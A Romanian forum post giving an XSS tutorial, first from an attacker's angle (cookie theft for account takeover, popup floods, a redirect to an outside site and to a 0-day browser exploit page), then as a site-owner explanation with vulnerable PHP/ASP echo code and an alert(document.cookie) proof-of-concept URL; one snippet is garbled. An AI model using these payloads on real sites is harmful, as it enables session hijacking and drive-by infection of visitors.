survizer
Master of 127.0.0.1
Inregistrat: acum 17 ani
Postari: 178
|
|
Uitati aici un tutorial XSS, mult mai bun decat cel postat de sergy1, si e si in limba romana
Vulnerabilitatile XSS in zilele noastre pot aduce pericole in lumea virtuala . Dar mai intii toate le luam de la inceput.
Deci abriviatura XSS se descifreaza ca : "Cross Site Scripting". E bine sa-l numim XSS insa nu CSS asa cum CSS a aparut mai devreme si se descifreaza ca : "Cascading Style Sheets" (se foloseste la perfecatarea unei pagine HTML). Cross inseamna <cruce>, deaceea prima prima litera <C> este schimbata cu <X>.
XSS este o vulnerabilitate pe un server, ce permite introducerea unui script pe pagina HTML de pe un server , ca rezultat , folosirea codului intr-o variabila cu un continut nefiltrat. Variabila nefiltrata este o variabila inaintea ce va fi folosita in script (de ex: PHP) nu se verifica daca contine simboluri interzise ca : <>,'," si multe altele.
Mai intii de toate continutul (insemnatatea) variabilei se transmite de la pagina HTML, incarcata in browser-ul utilizatorului (user-ului), scriptului PHP (prin operatorii POST sau GET). Operatorul POST transmite variabilile printr-un masiv, ce nu este aratat pe adresa din browser. Operatorul GET este identificat pe adresa browser-ului astfel : Deci scriptului Smile.php se transmit variabilile :$name - cu continutul "News", $file - cu continutul "article" s.m.d Desigur e mai usor de utilizat operatorul Get, deaceea, hacker-ul salveaza pagina site-ului spart si in adresa. Asa se sa inetializat ca majoritatea hacker-ilor folosesc XSS numai pentru capatarea cookies (cookies in majoritatea cazurilor pastreaza sesiunirile, in caz daca un hacker are cookies-urile unui alt utilizator de pe forum, asa cum pe forum orice user se inregistreaza, v-a avea control asupra account-ului, clar daca parola nu este descifrata si chiar daca e asa nu e greu sa o descifrezi). Insa bug-urile XSS nu se opresc doar aici.
Deci ce putem face noi cu ajutorul vulerabilitatilor XSS ?
1-) Scoterea nelimitatelor ferestre (exemplu mai jos), sau mesaje (metoda <confirm> sau <alert> ) ca rezultat oarecare procedura al utilizatorului (tastarea, intrarea pe sait). Sau chiar redirectia pe un alt server. Incercati sa introduceti urmatorul cod (fara schimbare) intr-un sait vulnerabil: window.location.href=''http://rohack.110mb.com" Mai intii testind pe calculatorul personal, incercati urmatorul script. Cream un fail 1.html cu un astfel de continut: <Html>*** for(i=1;i]0;i++){open('1.html','new'+i);} si deschidetil in orice browser
2-) Sa imprumutam informatia personala a user-ului. In primul rind aici va fi si putina descriere a cookies-ului (document.cookie),adica si imprumutarea fiind un atribut de securitate a user-ului (pe aceasta tema) . Tot in aceasta tema intra si imprumutarea informatiei despre sistema user-ului si browser-ului (obiectul navigator), IP, istoria site-urilor vazute inainte (obiectul history ca masiv; pagina prezenta history[0], precedenta history[-1], in total pagini history.length) si multe altele. Iata exemplu de un script ce intoarce adresa IP a user-ului in variabila IP si numele computerului in variabila host (este testata in Opera, Mozilla, Mozilla Firefox):
myAddress=java.net.InetAddress.getlocalHost(); myAddress2=java.net.InetAddress.getlocalHost(); host=myAddress.get.HostName(); ip=myAddress2.getHostAddress();
3-) Sunt foarte multe vulnerabilitati ale browser-urilor in care la prelucrarea unui kod cheama DOS-ul, sau permite acces la unele file-uri sau altceva neplacut user-ului. Cele mai des auzite vazute si folosite browser-e (Internet Explorer, NetScape, Mozilla, MozillaFirefox, Opera) sunt vulnerabile. Ce sa facem cu un cod, cynd un user a intrat pe un site cu o vulnerabilitate XSS ? Introducem un exploit (Il putetzi gasi aici in thread-ul exploit-urilor cu denumirea de 0-day) in site-ul unde este vulnerabilitatea XSS astfel : window.location.href=''EXPLOIT'' (decin intre ghilimele in loc de cuvyntul EXPLOIT folosim adresa unde se afla exploit-ul). Acum victima cind va intra pe pagina serverului, unde noi am insertat kodul v-a redicta pe pagina-exploit, unde v-a indeplini kodul dat. (In cazul nostru calc.exe)
Atyt... Clara ca posibilitatile XSS-ului sunt ft mari, nu le pot descrie eu singur, vulnerabilitatile sunt tot mai multe si mai multe pe timp ce trece, insa cele mai importante si mai populare vor fi pe un post aparte.
Site Dvs. are probleme cu XSS sau Cross Site Scripting? Acesta este o problema foarte frecvent intilnita la multe siteuri, inclusiv foarte cunoscute de injectare de cod JavaScript in pagini din surse nesigure.
Ce probleme pot aparea? De multe ori este pur si simplu inofensiv insa pot aparea si probleme serioase de gen - atac la conturi inregistrate, redirectari nedorite sau popups si altele. De obicei nu sint probleme cind informatiile nu sint decit afisate si nu exista inregistrare de conturi sau cookies. In aceste cazuri nu prea este mare lucru rau de facut. Insa in alte cazuri problemele pot fi imprevizibile.
In plus, este si o problema de prestigiu pentru un site cunoscut sa se spuna despre el ca are probleme de acest gen. Orice problema cit de mica ar trebui corectata imediat.
Problema apare din nefiltrarea parametrilor transmisi paginilor cind vine vorba de afisari in pagina. In egala masura pot fi afectate pagini ASP sau PHP sau Perl sau orice altceva. Majoritatea exemplelor gasite se refera la afisarea document.cookie...
De exemplu pentru PHP este undeva (pagina.xxx):
Code:
<?php echo "Parametrul dvs. este: ".$_GET['param']; ?>
Sau pentru ASP:
Code:
<% Response.Write "Parametrul dvs. este:" & Request.QueryString("param" %>
Pentru acest caz in mod normal exista link-uri care apeleaza pagina cu diversi parametri. Insa acesti parametri pot fi creati astfel incit sa execute cod JavaScript ca venind din partea site-ului:
Code:
pagina.xxx?param=1%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Asta pur si simplu o sa transforme pagina in:
Parametrul dvs. este: Code:
1<script>alert(document.cookie)</script>
Insa se pot face mult mai mult decit afisa cookie. De exemplu chema JS de pe alte servere care practic pot modifica pagina in foarte multe feluri. Acestea intervin mai ales cind codul injectat este salvat in baza de date (semnaturi, postari, comentarii, etc.), care o sa fie afisat de fiecare data cind pagina e afisata. Sau se pot modifica sau transmite cookie cu informatii despre sesiune sau informatii statistice, lucruri nedorite pe toate site-urile
_______________________________________ Sa lasam faptele sa vorbeasca....
|
|